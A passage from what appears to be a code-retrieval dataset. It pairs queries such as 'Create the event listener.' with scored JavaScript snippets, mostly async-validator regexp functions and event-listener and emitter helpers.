(!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "ff1a4cfe8978421a7a15049710b990ba", "score": "0.6736556", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value) && !rule.required) {\n return callback();\n }\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].required(rule, value, source, errors, options);\n if (!Object(__WEBPACK_IMPORTED_MODULE_1__util__[\"e\" /* isEmptyValue */])(value)) {\n __WEBPACK_IMPORTED_MODULE_0__rule___[\"a\" /* default */].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "12c3125754d2501dba6adeacd8a7b157", "score": "0.6701161", "text": "function regexp(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value) && !rule.required) {\n return callback();\n }\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].required(rule, value, source, errors, options);\n if (!Object(_util__WEBPACK_IMPORTED_MODULE_1__[\"isEmptyValue\"])(value)) {\n _rule___WEBPACK_IMPORTED_MODULE_0__[\"default\"].type(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" } ]
48ad4114a8bfd63ded17b57170aa30bb
Create the event listener.
[ { "docid": "2a133dea92b896e644159247c7954565", "score": "0.0", "text": "function listener(event, done) {\n\t return function onevent(arg1) {\n\t var args = new Array(arguments.length)\n\t var ee = this\n\t var err = event === 'error'\n\t ? arg1\n\t : null\n\n\t // copy args to prevent arguments escaping scope\n\t for (var i = 0; i < args.length; i++) {\n\t args[i] = arguments[i]\n\t }\n\n\t done(err, ee, event, args)\n\t }\n\t}", "title": "" } ]
[ { "docid": "a9ba3e5707ceaef678f9d50781c9dd52", "score": "0.780583", "text": "function createEventListeners() {\n\t\n}", "title": "" }, { "docid": "509f0ed46984086080ef5fb4b74c96d9", "score": "0.71297526", "text": "function initEventListener() {\n\n }", "title": "" }, { "docid": "fb91e1f972977316dd08377055f0ddd2", "score": "0.710548", "text": "function eventListener() {\n\tconsole.log('listening');\n\tlistenForEvent();\n}", "title": "" }, { "docid": "66e400cbdd22a3b967d044a15dd3b459", "score": "0.70154274", "text": "function createListeners() {\n eventListeners.set(this, {\n pause : playStateHandler.bind(this, 'paused'),\n click : clickHandler.bind(this),\n play : playStateHandler.bind(this, 'playing'),\n timeupdate : timeupdateHandler.bind(this)\n });\n }", "title": "" }, { "docid": "0b3322432f9dcf51e42a115f3a6c377a", "score": "0.6931693", "text": "function Listener() {}", "title": "" }, { "docid": "0b3322432f9dcf51e42a115f3a6c377a", "score": "0.6931693", "text": "function Listener() {}", "title": "" }, { "docid": "691c20dd7ad954a0f4a9276a9989042e", "score": "0.6892955", "text": "createEvents() {\n this.node.libp2p.on(\"peer:connect\", this.handlePeerConnected.bind(this));\n this.ready = true;\n console.log(\"Event(s) created.\");\n }", "title": "" }, { "docid": "53863a2155e4915c5a2d0a18f3334ef0", "score": "0.68536943", "text": "function createListener() {\n document.getElementById('saveButton').addEventListener('click', createNewEntry);\n }", "title": "" }, { "docid": "99228a2f79c10b2c17a4a09d54da0d72", "score": "0.68467927", "text": "function Listener() { }", "title": "" }, { "docid": "99228a2f79c10b2c17a4a09d54da0d72", "score": "0.68467927", "text": "function Listener() { }", "title": "" }, { "docid": "99228a2f79c10b2c17a4a09d54da0d72", "score": "0.68467927", "text": "function Listener() { }", "title": "" }, { "docid": "99228a2f79c10b2c17a4a09d54da0d72", "score": "0.68467927", "text": "function Listener() { }", "title": "" }, { "docid": "99228a2f79c10b2c17a4a09d54da0d72", "score": "0.68467927", "text": "function Listener() { }", "title": "" }, { "docid": "0fb457eec873d68caf162fc93894e608", "score": "0.67510986", "text": "on (event, callback) {\n listeners[event] = callback;\n }", "title": "" }, { "docid": "bfe859146a3323d154198cb3ff1caa64", "score": "0.6682933", "text": "create() {\n // create event\n }", "title": "" }, { "docid": "8b2db54c3be2b96aace3dc64f7ab1943", "score": "0.6625198", "text": "function createListeners() {\n\t\tif (infiniteScroll) {\n\t\t\tinfiniteScroll.addListener(infiniteScroll.FIRST_LOAD, function(e) {onFirstLoadStarted(e);});\n\t\t\tinfiniteScroll.addListener(infiniteScroll.ALL_LOADED, function(e) {onAllEntriesLoaded(e);});\n\t\t}\n\t}", "title": "" }, { "docid": "800c0ca704eb3db3590682221bd5cc9e", "score": "0.6494528", "text": "on(eventType, listener) {\n if (typeof (listener) === \"function\")\n if (this.events[eventType]) {\n this.events[eventType].push(listener);\n }\n else {\n this.events[eventType] = []; // Cuando no existe la property\n this.events[eventType].push(listener);\n }\n }", "title": "" }, { "docid": "eae119fbf9f493e27b1de49edb28b44f", "score": "0.6457023", "text": "on (event, fn) {\n this._eventListener.push([event, fn])\n }", "title": "" }, { "docid": "6e2d0e5078b9701cea656de7a500e54f", "score": "0.6452233", "text": "function listenerCreated() {\n listenerCnt += 1;\n if (listenerCnt === 1) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n }", "title": "" }, { "docid": "bf65a8626e5e5912323f500c1397a937", "score": "0.6416442", "text": "function hookCreatedCallback() {\n this.addEventListener(event, action.bind(this), bubbling);\n }", "title": "" }, { "docid": "330683b4f6989fba17a5a0a14f96f2e6", "score": "0.64157444", "text": "createEventListeners() {\n // What to do when a key is down?\n this.elem.addEventListener('keydown', this);\n\n // Listen to the click so we can act on it.\n this.elem.addEventListener('click', this);\n\n // Listen to custom events so we can act on it.\n this.elem.addEventListener('preOpenSubnav', this);\n\n // Listen to custom events so we can act on it.\n this.elem.addEventListener('postOpenSubnav', this);\n }", "title": "" }, { "docid": "bc183cb6473053117bcec82f1a402f43", "score": "0.64107907", "text": "function listenerCreated() {\n if (!(listenerCnt++)) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n }", "title": "" }, { "docid": "bc183cb6473053117bcec82f1a402f43", "score": "0.64107907", "text": "function listenerCreated() {\n if (!(listenerCnt++)) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n }", "title": "" }, { "docid": "bc183cb6473053117bcec82f1a402f43", "score": "0.64107907", "text": "function listenerCreated() {\n if (!(listenerCnt++)) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n }", "title": "" }, { "docid": "bc183cb6473053117bcec82f1a402f43", "score": "0.64107907", "text": "function listenerCreated() {\n if (!(listenerCnt++)) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n }", "title": "" }, { "docid": "31a8c4c0311f3212324eb9f7e33f1577", "score": "0.63822764", "text": "on(eventName, listener) {\n const listeners = this.events[eventName]\n if (listeners && typeof listener === 'function') {\n listeners.push(listener)\n }\n }", "title": "" }, { "docid": "d97c6674bfd30bfb963cdc6516e4299f", "score": "0.63629967", "text": "addListeners () {\n\n }", "title": "" }, { "docid": "bd18a11ada975c384716501e05a0201f", "score": "0.6362447", "text": "on(type, listener) {\r\n this.events[type] = this.events[type] || [];\r\n this.events[type].push(listener);\r\n }", "title": "" }, { "docid": "e69f35f56ed286c394bdb35ba2ba933e", "score": "0.6339761", "text": "function EventListener() {\n this.listeners = {};\n this.addEventListener = function(event, func) {\n if (!this.listeners[event]) this.listeners[event] = [];\n this.listeners[event].push(func);\n };\n this.fireEvent = function(event) {\n event.preventDefault = function(){};\n if (event.type in this.listeners) {\n this.listeners[event.type].forEach(function(listener) {\n listener(event);\n });\n }\n };\n}", "title": "" }, { "docid": "32c1cb7e602232505dfcaf64eae98338", "score": "0.6315196", "text": "addEventListener(type, listener) {\n this.listeners[type].push(listener)\n }", "title": "" }, { "docid": "2a81d526400f26a62ad5f390c4fdf1e9", "score": "0.63056827", "text": "setupEventListener() {\n\t\tthrow new Error('You have to implement the method setupEventListener.');\n\n\t}", "title": "" }, { "docid": "96c80e867f18f80420ec8c1240bf2770", "score": "0.63022417", "text": "on (event, callback) {\n // ensure the events registered array exists\n this.listeners[event] = this.listeners[event] || [];\n // add new event\n this.listeners[event].push(callback);\n }", "title": "" }, { "docid": "dbe9d000ff092c2c2bfcb12a80a8cffb", "score": "0.62989783", "text": "constructor() {\n this.listeners = {}\n }", "title": "" }, { "docid": "9aae8aa07fcc6ecf024d63312e4710b1", "score": "0.62850124", "text": "function onListening() {\n}", "title": "" }, { "docid": "2f8fefc963d2c0094a13d4beb604729b", "score": "0.6283292", "text": "listen() {\n assertParameters(arguments, undefined);\n this._canvas.addEventListener(...arguments);\n }", "title": "" }, { "docid": "769d07e1ad509967e8d14c0c2d4aa832", "score": "0.628123", "text": "addEventListener(eventName, _function) {\n this.listener.addEventListener(eventName, _function)\n }", "title": "" }, { "docid": "d71c54292ee56a3a1cdf3edc83e6b7e8", "score": "0.6279585", "text": "function registerEventListener(event_listener) {\n _event_listeners.push(event_listener);\n}", "title": "" }, { "docid": "0853a91321d64157015cb91f4f447a5e", "score": "0.62759626", "text": "addListener(eventType, callback) {\n if (!this.listeners[eventType]) {\n this.listeners[eventType] = [];\n }\n this.listeners[eventType].push(callback);\n }", "title": "" }, { "docid": "d087dc269d580349080be57b718a4529", "score": "0.6254499", "text": "on(event, watcher){\n listener.on(event, watcher);\n }", "title": "" }, { "docid": "9b6c497b76d929240787c2f5f4f62b0f", "score": "0.62510586", "text": "subscribe(listener) {\n listeners.push(listener);\n }", "title": "" }, { "docid": "35128c6759c566da3f249dfa4968f79b", "score": "0.6245529", "text": "function addEventListener(event, callback) {\n if (!listeners[event]) listeners[event] = [];\n listeners[event].push(callback);\n }", "title": "" }, { "docid": "b33a9c4131fbe053fc648c037ab33387", "score": "0.62407273", "text": "addEventListener (f) {\n this.eventListeners.push(f)\n }", "title": "" }, { "docid": "b33a9c4131fbe053fc648c037ab33387", "score": "0.62407273", "text": "addEventListener (f) {\n this.eventListeners.push(f)\n }", "title": "" }, { "docid": "478bfa8ba190e54a491ee9aea80f2227", "score": "0.62366", "text": "addEventListener(type, listener, options) {\n super.addEventListener(type, listener, options);\n }", "title": "" }, { "docid": "1a6f99dc90df61ae4b59f179881df4b4", "score": "0.6209209", "text": "on(ev, listener) {\r\n return super.on(ev, listener);\r\n }", "title": "" }, { "docid": "462755fb1f746aedd000a266b7dcf69f", "score": "0.6197863", "text": "function createEvent() {\n return new Event(undefined, -1,undefined,undefined,undefined,undefined,undefined,undefined);\n }", "title": "" }, { "docid": "6cf25d47134d55fc97bcfcd254e933aa", "score": "0.6194683", "text": "function listenerCreated() {\n listenerCnt += 1;\n if (listenerCnt === 1) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n}", "title": "" }, { "docid": "6cf25d47134d55fc97bcfcd254e933aa", "score": "0.6194683", "text": "function listenerCreated() {\n listenerCnt += 1;\n if (listenerCnt === 1) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n}", "title": "" }, { "docid": "6cf25d47134d55fc97bcfcd254e933aa", "score": "0.6194683", "text": "function listenerCreated() {\n listenerCnt += 1;\n if (listenerCnt === 1) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n}", "title": "" }, { "docid": "6c506c7006ba82124b0a31d8c825763b", "score": "0.61929584", "text": "function main() {\n addEventListeners();\n}", "title": "" }, { "docid": "bf1c5eafe506fcf6cd99699b437ab6b7", "score": "0.6177443", "text": "addListener(event, fct) {\n this._events = this._events || {};\n this._events[event] = this._events[event] || [];\n this._events[event].push(fct);\n }", "title": "" }, { "docid": "520be9ffeb5646a684503c8789393723", "score": "0.61593115", "text": "function EventListeners () {\n CallbacksHandler.call(this);\n}", "title": "" }, { "docid": "a00db8822de15213eb92d2b79e8775f3", "score": "0.6149717", "text": "on(type, listener) {\n this._events[type] = this._events[type] || [];\n // The structure _events is {type: [], type2: []}\n // Only push it into the array not invoke.\n this._events[type].push(listener);\n console.log('_events for change', this._events['change']);\n }", "title": "" }, { "docid": "38a388c6e9c8ef2a4436f7a0c3544e8c", "score": "0.61493903", "text": "constructor () {\n this.listeners = {};\n }", "title": "" }, { "docid": "75c6b3b8d7aab5661afdcacf356ee96c", "score": "0.6140792", "text": "_addListeners() {\n document.addEventListener('click', this._handleEvent, false);\n }", "title": "" }, { "docid": "a1a4858768b801470d7b32b238959bc2", "score": "0.61389434", "text": "function createEventListener() {\n\t\tif(stringStartWith(document.title, 'g4 :: Messages')) {\n\t\t\tvar elements = document.getElementsByClassName('msg-loader');\n\n\t\t\tfor(var i = 0; i < elements.length; i++) {\n\t\t\t\t/**\n\t\t\t\t * Adds a refresh function if clicked on show more\n\t\t\t\t */\n\t\t\t\telements[i].onclick = function() {\n\t\t\t\t\tsetTimeout(function() {\n\t\t\t\t\t\trefreshPage();\n\t\t\t\t\t}, 2000);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2bb5927b9439089e8235879ee105ddf2", "score": "0.613004", "text": "addEvents() { }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "08b6d9b6a95f34eda1d139b00040eb71", "score": "0.6127059", "text": "get event() {\r\n if (!this._event) {\r\n this._event = (listener, thisArgs, disposables) => {\r\n if (!this._callbacks) {\r\n this._callbacks = new CallbackList();\r\n }\r\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\r\n this._options.onFirstListenerAdd(this);\r\n }\r\n this._callbacks.add(listener, thisArgs);\r\n let result;\r\n result = {\r\n dispose: () => {\r\n this._callbacks.remove(listener, thisArgs);\r\n result.dispose = Emitter._noop;\r\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\r\n this._options.onLastListenerRemove(this);\r\n }\r\n }\r\n };\r\n if (Array.isArray(disposables)) {\r\n disposables.push(result);\r\n }\r\n return result;\r\n };\r\n }\r\n return this._event;\r\n }", "title": "" }, { "docid": "4b478626d5fbfa16b486c47abaf766e1", "score": "0.6108336", "text": "function EventListener() {\n this.target = null;\n this.type = null;\n this.callback = null;\n this.options = null;\n this.useCapture = null;\n this.wantsUntrusted = null;\n this.parseArgs.apply(this, Array.from(arguments));\n}", "title": "" }, { "docid": "17bb31939dd4792d867fcb5c42fbbcd6", "score": "0.61081594", "text": "constructor () {\n // execute the super class constructor methods\n super()\n\n // command definition\n this.group = 'Components:'\n this.flags = 'listener <listener_name>'\n this.desc = 'Create a new event listener'\n this.paramsDesc = 'The name of the listener to create'\n }", "title": "" }, { "docid": "0c3c4b74e57dc8def91bdbc3bea35248", "score": "0.6099517", "text": "static addNewDeviceListener(callback) {\n var index = this.listeners.indexOf(callback);\n if (index < 0) this.listeners.push(callback);\n }", "title": "" }, { "docid": "d931f006e7541883b9a58171a2cc289a", "score": "0.60960007", "text": "createListeners() {\n\t\tMediator.subscribe(Events.ENABLE_DEBUG_MODE, (data) => this.showCollisionModel(data));\n\t\tMediator.subscribe(Events.DISABLE_DEBUG_MODE, (data) => this.hideCollisionModel(data));\n\t}", "title": "" }, { "docid": "b192bb35260efba1bcaa789e965ab4fc", "score": "0.60903424", "text": "function Listener() {\n ECMAScriptListener.ECMAScriptListener.call(this);\n return this;\n}", "title": "" }, { "docid": "cb9d340a1eb7c5d4ce3680b736632e2d", "score": "0.6070392", "text": "get event() {\n if (!this._event) {\n this._event = (listener, thisArgs, disposables) => {\n if (!this._callbacks) {\n this._callbacks = new CallbackList();\n }\n if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {\n this._options.onFirstListenerAdd(this);\n }\n this._callbacks.add(listener, thisArgs);\n const result = {\n dispose: () => {\n if (!this._callbacks) {\n return;\n }\n this._callbacks.remove(listener, thisArgs);\n result.dispose = _Emitter._noop;\n if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {\n this._options.onLastListenerRemove(this);\n }\n }\n };\n if (Array.isArray(disposables)) {\n disposables.push(result);\n }\n return result;\n };\n }\n return this._event;\n }", "title": "" }, { "docid": "4c53f1e87ccc6e84bd9401ee7a422c0a", "score": "0.6059755", "text": "on(type, listener) {\r\n const typeSafeListener = (message) => {\r\n if (messageIs(message, type)) {\r\n listener(message);\r\n }\r\n };\r\n this._listeners.set(listener, typeSafeListener);\r\n this._events.addListener(typeSafeListener);\r\n }", "title": "" }, { "docid": "6afad6b902db8dc605b16bebc02dc1df", "score": "0.60594267", "text": "function listenerCreated() {\n if (!(listenerCnt++)) {\n window.addEventListener('touchmove', onWindowTouchMove, { passive: false });\n }\n}", "title": "" }, { "docid": "425f12fd76a4322ba0c42cc16b735667", "score": "0.6058716", "text": "on_event(args) {}", "title": "" }, { "docid": "fa2ab645b05885863be1be2a9d1494df", "score": "0.6047728", "text": "static get listeners() {\n return {\n 'click': '_clickHandler',\n 'keydown': '_keyDownHandler'\n };\n }", "title": "" }, { "docid": "babe160411eae8c9f83b15c8a8005938", "score": "0.60452855", "text": "onEvent() {\n\n }", "title": "" }, { "docid": "4f552d98521a2768c2a01917e226b3f5", "score": "0.60361207", "text": "constructor() {\n this.listeners = [];\n }", "title": "" }, { "docid": "49da9039b6e55b7d62c08f85eefeb711", "score": "0.6019664", "text": "addListener(listenerName=null,objectToListenTo,propToListenTo=undefined,onchange=undefined,interval=undefined) {\n if(objectToListenTo === undefined) {\n console.error(\"You must assign an object\");\n return;\n }\n\n var name = listenerName;\n if(name === null) {\n name = Math.floor(Math.random()*100000);\n }\n var listener = {name:name, listener: new ObjectListenerInstance(objectToListenTo,propToListenTo,onchange,interval)};\n this.listeners.push(listener);\n }", "title": "" }, { "docid": "ffe2ea3213303a11a138b4265a0d9ae8", "score": "0.60149115", "text": "on(event, listener) {\n this.emitter.on(event, listener);\n }", "title": "" }, { "docid": "ca401020c2c031162e5feefb3804b618", "score": "0.6014243", "text": "function EventTarget(){this._listeners={}}", "title": "" }, { "docid": "68618f1f644ab86c5b8109d2997d2275", "score": "0.60083044", "text": "_registerListeners() {\n this.log.verbose('Registering the event handlers.');\n\n this.client.on('guildCreate', this._onGuildCreate.bind(this));\n this.client.on('guildDelete', this._onGuildDelete.bind(this));\n this.client.on('message', this._onMessage.bind(this));\n }", "title": "" }, { "docid": "91cfe2edac4a7f85487bd5786dbb8047", "score": "0.60068375", "text": "on(eventId, callback){\n this._events[ eventId ] = callback;\n }", "title": "" }, { "docid": "205044904774b6634690f742f3a95227", "score": "0.60031486", "text": "function initEventListener() {\n $scope.$on(controllerId + '.action.refresh', function (event, data) {\n getPage(_tableState);\n });\n\n $scope.$on(controllerId + '.action.get-filters', function (event, data) {\n search(data);\n });\n\n $scope.$on(controllerId + '.action.callOpenAddPopup', function (event, data) {\n if (vm.data.showButtonNew) {\n vm.action.add(data);\n $rootScope.isOpenPopup = true;\n }\n });\n }", "title": "" }, { "docid": "9cdd087c8fc44da8f95be835c3c9634f", "score": "0.5994672", "text": "_createEventsManager() {\n if (!this._eventsManager) {\n this._eventsManager = new DKTools.EventsManager(this);\n }\n }", "title": "" }, { "docid": "06e13f56fe9a42bf3bb67618a785432c", "score": "0.5992319", "text": "addEventListener(type: string, handler: Function) {\n this.addListener(type, handler);\n }", "title": "" }, { "docid": "32d7d2e451b6a70d8578d1008fc3726a", "score": "0.59748894", "text": "function eventListener(event){\n\n\n}", "title": "" }, { "docid": "a9976fa5d7212d0ffaa74f7d45fe0999", "score": "0.59682125", "text": "addEventListener(type, handler, options = {}) {\n if (!this.__eventListener[type]) {\n this.__eventListener[type] = [];\n }\n this.__eventListener[type].push({cb: handler, options: options});\n }", "title": "" }, { "docid": "2cbb078ae94d7aa574ae89bb63becd20", "score": "0.5965653", "text": "startListening(txlistener) {\n txlistener.event.register('newTransaction', (tx) => {\n this.events.emit('newTransaction', tx);\n });\n }", "title": "" }, { "docid": "25f6855a7c747910c8aaf9bfe729adf9", "score": "0.595628", "text": "listen() {\n this.html.input.addEventListener('input', () => { this.onEventInput() })\n this.html.input.addEventListener('keydown', (e) => { this.onEventKeyDown(e) })\n this.html.input.addEventListener('keyup', (e) => { this.onEventKeyUp(e) })\n this.html.options.forEach((o) => {\n o.addEventListener('click', (e) => { this.onEventOptionClick(e.target) })\n })\n }", "title": "" }, { "docid": "18306e2b2c9de217a9c61bbc47cfe11b", "score": "0.5952344", "text": "addListeners() {\n // Add an event on window scroll\n window.addEventListener('scroll', this.onScroll.bind(this));\n // Add an event on window mouse move\n window.addEventListener('mousemove', this.onMouseMove.bind(this));\n // Add an event on window resize\n window.addEventListener('resize', this.onResize.bind(this));\n // Add submit event for the form\n this.form.addEventListener('submit', this.onSubmit.bind(this));\n }", "title": "" }, { "docid": "d815f23e7d5fd8fafa873cc951b7bc4b", "score": "0.5950293", "text": "function init() {\n contextListener();\n clickListener();\n keyupListener();\n resizeListener();\n }", "title": "" }, { "docid": "aecf7722dc0e73ffbd4993ecdc2db36d", "score": "0.5942419", "text": "_addListeners() {\n this.chatInput.addEventListener('keydown', this._onChatInputKeyDown.bind(this));\n document.getElementById('chatSendButton') && document.getElementById('chatSendButton').addEventListener('click', this._inputSend.bind(this));\n document.getElementById('chatAttachButton') && document.getElementById('chatAttachButton').addEventListener('click', this._attachmentSend.bind(this));\n document.getElementById('chatAttachmentInput') &&\n document.getElementById('chatAttachmentInput').addEventListener('change', this._onAttachmentChange.bind(this));\n document.getElementById('backButton') && document.getElementById('backButton').addEventListener('click', this._onBackClick.bind(this));\n document.getElementById('endCallButton') && document.getElementById('endCallButton').addEventListener('click', this._onEndCallClick.bind(this));\n document.getElementById('callButton') && document.getElementById('callButton').addEventListener('click', this._onCallClick.bind(this));\n document.getElementById('videoCallButton') && document.getElementById('videoCallButton').addEventListener('click', this._onCallClick.bind(this));\n\n this.userProfileTabs && this.userProfileTabs.addEventListener('click', this._onContactListClick.bind(this));\n window.addEventListener('resize', Helpers.Debounce(this._onResizeDebounced.bind(this), 200).bind(this));\n window.addEventListener('resize', this._onResize.bind(this));\n }", "title": "" }, { "docid": "80c8028f9ba35a4bc03a24cffc6349e7", "score": "0.59303486", "text": "static _addListener(xform, listener) {\n if (!inputCapturer_InputCapturer._pageListeners[xform.xpath]) {\n inputCapturer_InputCapturer._pageListeners[xform.xpath] = {};\n }\n\n var listeners = inputCapturer_InputCapturer._pageListeners[xform.xpath];\n\n for (var i = 2; i < arguments.length; i += 2) {\n var eventName = arguments[i];\n var eventObjects = arguments[i + 1];\n listeners[eventName] = {\n l: listener,\n o: Array.isArray(eventObjects) ? eventObjects : [eventObjects]\n };\n listeners[eventName].o.forEach(function (obj) {\n obj.addEventListener(eventName, listener);\n });\n }\n }", "title": "" }, { "docid": "5ae2e7243067bbebcb3dd54848745cb8", "score": "0.59302986", "text": "function loadEventListeners() {\n EventListeners();\n ruleAnchor();\n keyboardControls();\n }", "title": "" }, { "docid": "55b70c7b475fe070e925d3e0bfcb387c", "score": "0.5927726", "text": "function onEvent (type, listener) {\n component.addEventListener(type, (e) => {\n listener(e.detail);\n }, { signal });\n }", "title": "" }, { "docid": "6a5b3b7f55aef9272e9d15b7f1256ba4", "score": "0.5920893", "text": "startListening (txlistener) {\n txlistener.event.register('newTransaction', (tx) => {\n this.events.emit('newTransaction', tx)\n })\n }", "title": "" }, { "docid": "ed44c02b5fa58b4db1ae08f12d9a7a5d", "score": "0.5917677", "text": "function createListener(callback, capture, passive, once, signal, signalListener) {\n return {\n callback,\n flags: (capture ? 1 /* Capture */ : 0) |\n (passive ? 2 /* Passive */ : 0) |\n (once ? 4 /* Once */ : 0),\n signal,\n signalListener,\n };\n}", "title": "" }, { "docid": "b0b0e20d79e627897519b66d4ebc4da6", "score": "0.59166557", "text": "function Event() {}", "title": "" }, { "docid": "c910049f996a433bcbe270ff5987db76", "score": "0.59116286", "text": "function createEventListeners() {\n get(\"#fretboard-button-toggle-1\").click(buttonColorHandler);\n 